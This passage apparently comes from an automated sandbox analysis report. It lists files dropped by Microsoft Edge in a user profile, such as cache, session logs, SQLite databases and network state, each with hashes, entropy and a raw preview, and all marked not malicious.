e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187457
Entropy (8bit):	6.380131294049979
Encrypted:	false
SSDEEP:	3072:Hl+6C8jtck8xwlbkdNQgxNyvjaCvHUMe+djtr4L/URBhLS:EY8xwlCNz4pUMFrML/8w
MD5:	9A21F6FBD731C28C9008C77540962E10
SHA1:	2EDB05077CB6EA71F72242A2F6F6C6CB349D9986
SHA-256:	0C0FA0B8BDC90D0958DF77CDD19EE06C296DCDB3DFDD7174BF2EBB2F7079C087
SHA-512:	09E1FCB134A6D94C5B4CA3D7EFDBD929D908DB9E374C911C2B36D09DBEBB3E2D1F789155EDC76C104CE3C6F62BD133E6DDAB92CF87B5D94A923D3529699C8B9C
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......RcR}+.....exports...Rc........module....Rc........define....Rb^.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....Q...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:Q+Xl/lkV/lxEYcX9Un:QGkWBtUn
MD5:	2F1CBF4416BB07A06158221FF2CAFA20
SHA1:	DF1C912140B0EC80FD4ACF6628FF5E3AC6471778
SHA-256:	60491E8360A5E151F542A776475945DE8CF827BC9C4B427A490B7C94FE3AF692
SHA-512:	EFB7A67D0298BC2F47B9DAA90635096D928884CFF0292A1DC06612586175FB6EA81922CA02496FCFA645F02B72C78AEF9589BB6FD949DA913E4B6BC3AC27966D
Malicious:	false
Preview:	@.....oy retne.........................X....,.................??EO./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:Q+Xl/lkV/lxEYcX9Un:QGkWBtUn
MD5:	2F1CBF4416BB07A06158221FF2CAFA20
SHA1:	DF1C912140B0EC80FD4ACF6628FF5E3AC6471778
SHA-256:	60491E8360A5E151F542A776475945DE8CF827BC9C4B427A490B7C94FE3AF692
SHA-512:	EFB7A67D0298BC2F47B9DAA90635096D928884CFF0292A1DC06612586175FB6EA81922CA02496FCFA645F02B72C78AEF9589BB6FD949DA913E4B6BC3AC27966D
Malicious:	false
Preview:	@.....oy retne.........................X....,.................??EO./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF41634.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5376346459829513
Encrypted:	false
SSDEEP:	3:Q+Xl/lkV/lxEYcX9Un:QGkWBtUn
MD5:	2F1CBF4416BB07A06158221FF2CAFA20
SHA1:	DF1C912140B0EC80FD4ACF6628FF5E3AC6471778
SHA-256:	60491E8360A5E151F542A776475945DE8CF827BC9C4B427A490B7C94FE3AF692
SHA-512:	EFB7A67D0298BC2F47B9DAA90635096D928884CFF0292A1DC06612586175FB6EA81922CA02496FCFA645F02B72C78AEF9589BB6FD949DA913E4B6BC3AC27966D
Malicious:	false
Preview:	@.....oy retne.........................X....,.................??EO./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5715
Entropy (8bit):	3.4227751358500256
Encrypted:	false
SSDEEP:	96:fB0IdXKnTsepRs1551gSZ/X9Xp+zO+diQok1Pw1VM5nLl9iSr/119jD:fjH555F9Xp+KqiQDe/M5nLl9iSr/31
MD5:	36BE1308DDF2973A425AAD519044E5A9
SHA1:	FB8FC5288A8DB8AB725D34FD85CB0D18B276E949
SHA-256:	141600DC0D3A6DD79A634835A3BF7E132364E5CD880578AF497698CBC9832B8C
SHA-512:	6AA1FEADCB646F580733B6A1182B7F2064E3693B2CDB6F858C0B400E1894C5A86D6AE3320C8604F27660A879AC538AD1D549E516F15337FAF06C5DFA00B29742
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............f...b................next-map-id.1.Cnamespace-396bbe16_a0b9_4299_82a5_f7e10996f55b-https://ntp.msn.com/.0S....................map-0-shd_sweeper.){.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.m.s.n.-.o.l.d.b.r.a.n.d.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.p.n.p.w.e.a.t.o.d.a.y.,.1.s.-.w.p.o.-.l.o.c.k.-.l.s.v.d.2.,.s.h.s.t.r.3.c.c.n.,.p.r.g.-.s.h.-.s.h.s.t.r.3.c.a.r.,.p.r.g.-.s.h.-.s.h.s.t.r.n.c.c.n.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.3.b.,.p.r.g.-.1.s.w.-.s.a.e.e.b.k.t.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.p.s.b.h.v.f.c.t.1.,.p.r.g.-.1.s.w.-.s.a.-.d.l.i.s.m.v.5.t.4.t.,.p.r.g.-.1.s.w.-.s.a.p.s.h.l.d.o.u.t.t.1.,.p.r.e.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.1.,.p.r.g.-.1.s.w.-.a.b.o.r.t.w.v.2.,.p.r.g.-.1.s.w.-.h.u.p.s.e.l.l.-.c.t.r.,.1.s.-.n.t.f.1.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.120308653983144
Encrypted:	false
SSDEEP:	6:6a7GN9+q2P923oH+TcwtrQMxIFUt8v4NJZmw+vii9VkwO923oH+TcwtrQMFLJ:6b3+v4YebCFUt8v0/+vi8V5LYebtJ
MD5:	D5AB17E0DB7F4CBB810C9704BD045EFF
SHA1:	92365089EA64C6FB543B39669204A437961BF656
SHA-256:	381E00F848A769482E7B50FD1AF048D2F0C6D897281061522D724F5314BFE4D0
SHA-512:	902016A8AE8C11D738EAC19FC2B8615D4F864894F618B83C58F1232E9E1CF646B6533CDC696E26234B27F7A9841FC3428B0F0D26A5807DDB3E7A5E2F5CEBC678
Malicious:	false
Preview:	2024/10/30-18:11:30.679 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/30-18:11:30.681 1d2c Recovering log #3.2024/10/30-18:11:30.684 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.120308653983144
Encrypted:	false
SSDEEP:	6:6a7GN9+q2P923oH+TcwtrQMxIFUt8v4NJZmw+vii9VkwO923oH+TcwtrQMFLJ:6b3+v4YebCFUt8v0/+vi8V5LYebtJ
MD5:	D5AB17E0DB7F4CBB810C9704BD045EFF
SHA1:	92365089EA64C6FB543B39669204A437961BF656
SHA-256:	381E00F848A769482E7B50FD1AF048D2F0C6D897281061522D724F5314BFE4D0
SHA-512:	902016A8AE8C11D738EAC19FC2B8615D4F864894F618B83C58F1232E9E1CF646B6533CDC696E26234B27F7A9841FC3428B0F0D26A5807DDB3E7A5E2F5CEBC678
Malicious:	false
Preview:	2024/10/30-18:11:30.679 1d2c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/30-18:11:30.681 1d2c Recovering log #3.2024/10/30-18:11:30.684 1d2c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374799892428121

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.7913945745262394
Encrypted:	false
SSDEEP:	24:3ZyK5m/BvyeoLtjpsAF4unxxgtLp3X2amEtG1ChqHpQKkOAM4N:3ZyE0ytjzFh+Lp2FEkChrHOpI
MD5:	D8D0FAEBEC0FE60DDDB7044C06C19377
SHA1:	898B5105D07A6BA2475371EC5B407A19CAA88B00
SHA-256:	208ACA1636E50469263752C3BEF24923F482CCBA6DFA45A284DFA6A416C694CB
SHA-512:	5DBBE393DD7DC30A14A4AF47DDE2611D4F314A0155DAC95F29FAFC4F547735CE80AC0AF19721E5FB2FD1E2C5EB7B9C20736F81E027DE0967346272A9D72F693E
Malicious:	false
Preview:	SNSS.......AEAr...........AEAr......"AEAr...........AEAr.......AEAr.......BEAr.......BEAr....!..BEAr...............................AEArBEAr1..,...BEAr$...396bbe16_a0b9_4299_82a5_f7e10996f55b...AEAr.......BEAr....Mh.........AEAr...AEAr.......................AEAr....................5..0...AEAr&...{98952893-68FF-4A5D-A164-705C709ED3DB}.....AEAr.......AEAr.......................BEAr...........BEAr........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x...........%......%.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8...............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.079684288185169
Encrypted:	false
SSDEEP:	6:6ODq2P923oH+Tcwt7Uh2ghZIFUt8vOy9Zmw+vOQfWPkwO923oH+Tcwt7Uh2gnLJ:6Cv4YebIhHh2FUt8vP/+vNfq5LYebIh9
MD5:	323C4102A109B35C519D0CF657DCDC32
SHA1:	453180EB6D9ED370E6EFF1A74423952C2C641B28
SHA-256:	44FD9B33AD24C2DE037D88DFA4DB292F48EB64DE49BA5925AC8BFF1E448494D5
SHA-512:	DC115D208BB9EE5FE05DA2435779B3094A8F6467E4492C1CF88B79E7CE6D954A1DF2D8B11DB996A760352B7B0E2A3E141EDEF6F0A9103397347C95B4390D0793
Malicious:	false
Preview:	2024/10/30-18:11:30.050 1c34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/30-18:11:30.054 1c34 Recovering log #3.2024/10/30-18:11:30.055 1c34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.079684288185169
Encrypted:	false
SSDEEP:	6:6ODq2P923oH+Tcwt7Uh2ghZIFUt8vOy9Zmw+vOQfWPkwO923oH+Tcwt7Uh2gnLJ:6Cv4YebIhHh2FUt8vP/+vNfq5LYebIh9
MD5:	323C4102A109B35C519D0CF657DCDC32
SHA1:	453180EB6D9ED370E6EFF1A74423952C2C641B28
SHA-256:	44FD9B33AD24C2DE037D88DFA4DB292F48EB64DE49BA5925AC8BFF1E448494D5
SHA-512:	DC115D208BB9EE5FE05DA2435779B3094A8F6467E4492C1CF88B79E7CE6D954A1DF2D8B11DB996A760352B7B0E2A3E141EDEF6F0A9103397347C95B4390D0793
Malicious:	false
Preview:	2024/10/30-18:11:30.050 1c34 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/10/30-18:11:30.054 1c34 Recovering log #3.2024/10/30-18:11:30.055 1c34 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.150831116289389
Encrypted:	false
SSDEEP:	12:6r+v4YebvqBQFUt8vpW/+vHV5LYebvqBvJ:p4YebvZg8BHLYebvk
MD5:	B34D5084B3958C4ED963175DB1E7B83A
SHA1:	078A79CC0FA51129FCB6E513AFCD1FF9219C6EBC
SHA-256:	7559588450CFC567313E1C411A414EF6DEF5A43F79E8EE9EAA5C49FE5B42E120
SHA-512:	35B17CB8B1B120E4AD4CCEDB538E1C63EC71AD86739F48F853B66CF8BEA4D70001431AC9C1587AB509853BEBA79C964D00DADAA5101F3329F5998591FFF3FF4E
Malicious:	false
Preview:	2024/10/30-18:11:31.004 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/30-18:11:31.005 1dec Recovering log #3.2024/10/30-18:11:31.013 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.150831116289389
Encrypted:	false
SSDEEP:	12:6r+v4YebvqBQFUt8vpW/+vHV5LYebvqBvJ:p4YebvZg8BHLYebvk
MD5:	B34D5084B3958C4ED963175DB1E7B83A
SHA1:	078A79CC0FA51129FCB6E513AFCD1FF9219C6EBC
SHA-256:	7559588450CFC567313E1C411A414EF6DEF5A43F79E8EE9EAA5C49FE5B42E120
SHA-512:	35B17CB8B1B120E4AD4CCEDB538E1C63EC71AD86739F48F853B66CF8BEA4D70001431AC9C1587AB509853BEBA79C964D00DADAA5101F3329F5998591FFF3FF4E
Malicious:	false
Preview:	2024/10/30-18:11:31.004 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/10/30-18:11:31.005 1dec Recovering log #3.2024/10/30-18:11:31.013 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3758aa1b-0319-4980-b4fa-bc75d6337a77.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\905d4dbc-fcc5-43b9-83f1-ef5df6e84eda.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3ad58.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\beecb312-657d-4967-8a97-64015f59d479.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c0e9c259-e87c-4789-9c1d-900f6e432027.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.842082263530856
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiBn1KKyRY:YHpoeS7PMVKJTnMRK3B1KF+
MD5:	F32592F4926E25E0D647EA7E4CBCD3FE
SHA1:	4126DAA71810BDC438563699F77D5DA66DD3295E
SHA-256:	BB0A228D78AE9A4E3508B13B041710AAA7E658AAA526FA553719851EB4F2303A
SHA-512:	96F9B027B0E7E44E14006EAC6DE05A6CF684F5D6427004737CC379DC02875FA1D65C422AB6CA0EF89C0555ACD12B1D99F552894F15EE9EAF1A203FE58835A35D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
